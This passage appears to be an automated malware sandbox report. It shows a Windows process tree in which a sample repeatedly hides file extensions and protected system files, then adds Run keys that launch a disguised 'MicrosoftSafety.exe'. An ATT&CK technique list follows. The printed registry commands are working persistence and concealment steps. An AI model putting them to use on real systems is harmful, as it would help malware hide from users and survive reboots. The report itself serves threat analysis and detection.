    PID:1780
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:2052
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:1992
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2672
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1056
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:980
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:544
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1728
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:2456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2476
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2232
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1996
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2004
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2512
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:1020
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:3068
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1824
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2160
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:1660
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:2836
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:3028
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1944
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2576
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2600
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:1396
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:2848
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:2284
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2812
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3048
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2516
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2480
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:1956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2220
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:1236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2664
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3036
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:1796
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:1712
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1876
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:612
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1312
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:1708
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1680
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2300
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:1628
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:524
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:2952
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2348
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2004
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2804
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1340
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:556
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2828
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:916
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:520
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2560
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3028
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1964
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2996
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2992
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:1308
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      System Location Discovery: System Language Discovery
      PID:2764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1436
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1352
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:1840
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:2988
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2080
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1524
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2108
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:624
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2192
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:2468
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1192
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1956
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1056

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1576

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "184848825314238980431607808178115312622575200067547940430416834543672047892852"
1⤵
PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

